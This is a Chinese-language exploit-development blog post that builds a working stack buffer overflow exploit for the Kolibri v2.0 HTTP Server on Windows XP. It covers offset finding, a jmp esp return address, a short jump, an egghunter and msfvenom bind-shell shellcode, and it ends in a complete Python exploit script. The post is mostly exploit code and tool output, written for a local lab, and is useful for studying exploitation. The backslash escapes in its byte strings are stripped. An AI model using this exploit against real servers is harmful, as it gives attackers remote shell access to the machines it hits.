• Kolibri v2.0 HTTP Server


    Kolibri v2.0 HTTP Server

    前置知识

    环境

    • Windows XP Pro

    • Immunity debugger

    • mona.py

    • python2.7

    • 漏洞软件

    • 坏字符:’ x00x0dx0ax3dx20x3f’

    Egg hunter

    寻蛋技术:为了解决缓冲区空间不足以放下shellcode,利用寻蛋技术先利用跳转到寻蛋指令,再跳转到shellcode地址

    漏洞复现

    生成寻蛋指令

    !mona egg

    Egghunter , tag w00t : 
    "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
    "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"
    Put this tag in front of your shellcode : w00tw00t
    

    利用下面的POC使程序崩溃

    #!/usr/bin/python
    import socket
    import os
    import sys
    Stage1 = "A"*600
    buffer = (
    "HEAD /" + Stage1 + " HTTP/1.1
    "
    "Host: 127.0.0.1:8080
    "
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
    expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    expl.connect(("127.0.0.1", 8080))
    expl.send(buffer)
    expl.close()
    

    利用pattern_create生成字符取代“A”*600

    msf5 > /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 600
    [*] exec: /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 600
    
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
    

    image-20200506225844470

    可以看到EIP偏移为515,ESP偏移为519

    则新的填充字符为:A*515+[EIP]+BBBBB......

    找一个跳板地址

    image-20200506230706099

    0x7d5a30d7 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:WINDOWSsystem32SHELL32.dll)
    #小端	xd7x30x5ax7d
    

    正常填充字符为: A*515+'xd7x30x5ax7d'+shellcode

    而此时shellcode字符空间为81,恐无法放下shellcode代码,于是采用短跳,跳到寻蛋指令处,再利用寻蛋指令去执行shellcode代码

    含短跳填充字符: A*515+'xd7x30x5ax7d'++"xEBxC4"

    short jump code -> xEB
    -60 bytes -> FFFFFFFFFFFFFFC4
    

    此时POC代码为:

    #!/usr/bin/python
      
    import socket
    import os
    import sys
      
    #Egghunter
    #Size 32-bytes
    hunter = (
    "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
    "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"
    )
    
    Stage1 = "A"*478 + hunter + "A"*5 + "xd7x30x5ax7d" + "xEBxC4"
      
    buffer = (
    "HEAD /" + Stage1 + " HTTP/1.1
    "
    "Host: 127.0.0.1:8080
    "
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
     
    expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    expl.connect(("127.0.0.1", 8080))
    expl.send(buffer)
    expl.close()
    

    在User-Agent中插入pattern_create生成字符

    #!/usr/bin/python
      
    import socket
    import os
    import sys
      
    #Egghunter
    #Size 32-bytes
    hunter = (
    "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
    "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"
    )
    
    Stage1 = "A"*478 + hunter + "A"*5 + "xd7x30x5ax7d" + "xEBxC4"
    Stage2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    buffer = (
    "HEAD /" + Stage1 + " HTTP/1.1
    "
    "Host: 127.0.0.1:8080
    "
    "User-Agent: "+Stage2+"
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
    expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    expl.connect(("127.0.0.1", 8080))
    expl.send(buffer)
    expl.close()
    

    在0x7d5a30d7下断点,!mona搜索字符串,发现有足够的空间插入shellcode

    image-20200506232847424

    最后生成插入我们的shellcode

    root@ubuntu:/home/vincebye# msfvenom -p windows/shell_bind_tcp LPORT=5555 -f c -b 'x00x0dx0ax3dx20x3f' 
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x86 from the payload
    Found 11 compatible encoders
    Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 355 (iteration=0)
    x86/shikata_ga_nai chosen with final size 355
    Payload size: 355 bytes
    Final size of c file: 1516 bytes
    unsigned char buf[] = 
    "xbdxb6x17xbcxbbxdaxcdxd9x74x24xf4x5bx33xc9xb1"
    "x53x31x6bx12x83xebxfcx03xddx19x5ex4exddxcex1c"
    "xb1x1dx0fx41x3bxf8x3ex41x5fx89x11x71x2bxdfx9d"
    "xfax79xcbx16x8ex55xfcx9fx25x80x33x1fx15xf0x52"
    "xa3x64x25xb4x9axa6x38xb5xdbxdbxb1xe7xb4x90x64"
    "x17xb0xedxb4x9cx8axe0xbcx41x5ax02xecxd4xd0x5d"
    "x2exd7x35xd6x67xcfx5axd3x3ex64xa8xafxc0xacxe0"
    "x50x6ex91xccxa2x6exd6xebx5cx05x2ex08xe0x1exf5"
    "x72x3exaaxedxd5xb5x0cxc9xe4x1axcax9axebxd7x98"
    "xc4xefxe6x4dx7fx0bx62x70xafx9dx30x57x6bxc5xe3"
    "xf6x2axa3x42x06x2cx0cx3axa2x27xa1x2fxdfx6axae"
    "x9cxd2x94x2ex8bx65xe7x1cx14xdex6fx2dxddxf8x68"
    "x52xf4xbdxe6xadxf7xbdx2fx6axa3xedx47x5bxccx65"
    "x97x64x19x13x9fxc3xf2x06x62xb3xa2x86xccx5cxa9"
    "x08x33x7cxd2xc2x5cx15x2fxedx77x55xa6x0bx1dx89"
    "xefx84x89x6bxd4x1cx2ex93x3ex35xd8xdcx28x82xe7"
    "xdcx7exa4x7fx57x6dx70x9ex68xb8xd0xf7xffx36xb1"
    "xbax9ex47x98x2cx02xd5x47xacx4dxc6xdfxfbx1ax38"
    "x16x69xb7x63x80x8fx4axf5xebx0bx91xc6xf2x92x54"
    "x72xd1x84xa0x7bx5dxf0x7cx2ax0bxaex3ax84xfdx18"
    "x95x7bx54xccx60xb0x67x8ax6cx9dx11x72xdcx48x64"
    "x8dxd1x1cx60xf6x0fxbdx8fx2dx94xcdxc5x6fxbdx45"
    "x80xfaxffx0bx33xd1x3cx32xb0xd3xbcxc1xa8x96xb9"
    "x8ex6ex4bxb0x9fx1ax6bx67x9fx0e";
    

    最后的POC如下

    #!/usr/bin/python
      
    import socket
    import os
    import sys
      
    #Egghunter
    #Size 32-bytes
    hunter = (
    "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
    "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"
    )
    shellcode=(
    "xbdxb6x17xbcxbbxdaxcdxd9x74x24xf4x5bx33xc9xb1"
    "x53x31x6bx12x83xebxfcx03xddx19x5ex4exddxcex1c"
    "xb1x1dx0fx41x3bxf8x3ex41x5fx89x11x71x2bxdfx9d"
    "xfax79xcbx16x8ex55xfcx9fx25x80x33x1fx15xf0x52"
    "xa3x64x25xb4x9axa6x38xb5xdbxdbxb1xe7xb4x90x64"
    "x17xb0xedxb4x9cx8axe0xbcx41x5ax02xecxd4xd0x5d"
    "x2exd7x35xd6x67xcfx5axd3x3ex64xa8xafxc0xacxe0"
    "x50x6ex91xccxa2x6exd6xebx5cx05x2ex08xe0x1exf5"
    "x72x3exaaxedxd5xb5x0cxc9xe4x1axcax9axebxd7x98"
    "xc4xefxe6x4dx7fx0bx62x70xafx9dx30x57x6bxc5xe3"
    "xf6x2axa3x42x06x2cx0cx3axa2x27xa1x2fxdfx6axae"
    "x9cxd2x94x2ex8bx65xe7x1cx14xdex6fx2dxddxf8x68"
    "x52xf4xbdxe6xadxf7xbdx2fx6axa3xedx47x5bxccx65"
    "x97x64x19x13x9fxc3xf2x06x62xb3xa2x86xccx5cxa9"
    "x08x33x7cxd2xc2x5cx15x2fxedx77x55xa6x0bx1dx89"
    "xefx84x89x6bxd4x1cx2ex93x3ex35xd8xdcx28x82xe7"
    "xdcx7exa4x7fx57x6dx70x9ex68xb8xd0xf7xffx36xb1"
    "xbax9ex47x98x2cx02xd5x47xacx4dxc6xdfxfbx1ax38"
    "x16x69xb7x63x80x8fx4axf5xebx0bx91xc6xf2x92x54"
    "x72xd1x84xa0x7bx5dxf0x7cx2ax0bxaex3ax84xfdx18"
    "x95x7bx54xccx60xb0x67x8ax6cx9dx11x72xdcx48x64"
    "x8dxd1x1cx60xf6x0fxbdx8fx2dx94xcdxc5x6fxbdx45"
    "x80xfaxffx0bx33xd1x3cx32xb0xd3xbcxc1xa8x96xb9"
    "x8ex6ex4bxb0x9fx1ax6bx67x9fx0e"
    )
    Stage1 = "A"*478 + hunter + "A"*5 + "xd7x30x5ax7d" + "xEBxC4"
    Stage2 = "w00tw00t"+shellcode
    buffer = (
    "HEAD /" + Stage1 + " HTTP/1.1
    "
    "Host: 127.0.0.1:8080
    "
    "User-Agent: "+Stage2+"
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
    expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    expl.connect(("127.0.0.1", 8080))
    expl.send(buffer)
    expl.close()
    

    w00t为上面!mona egg生成的寻蛋指令的标签

    image-20200506233837703

  • 相关阅读:
    git add 添加错文件 撤销
    工作流Activiti5.13学习笔记(一)
    instanceof, isinstance,isAssignableFrom的区别
    oracle表查询速度极慢的处理过程记录一下
    类里面的成员变量如果是public,为什么破坏封装
    IPv4 IPv6验证
    枚举使用
    XML之命名空间的作用(xmlns)
    XSD-JAVA
    jaxb
  • 原文地址:https://www.cnblogs.com/vincebye/p/12839971.html
Copyright © 2020-2023  润新知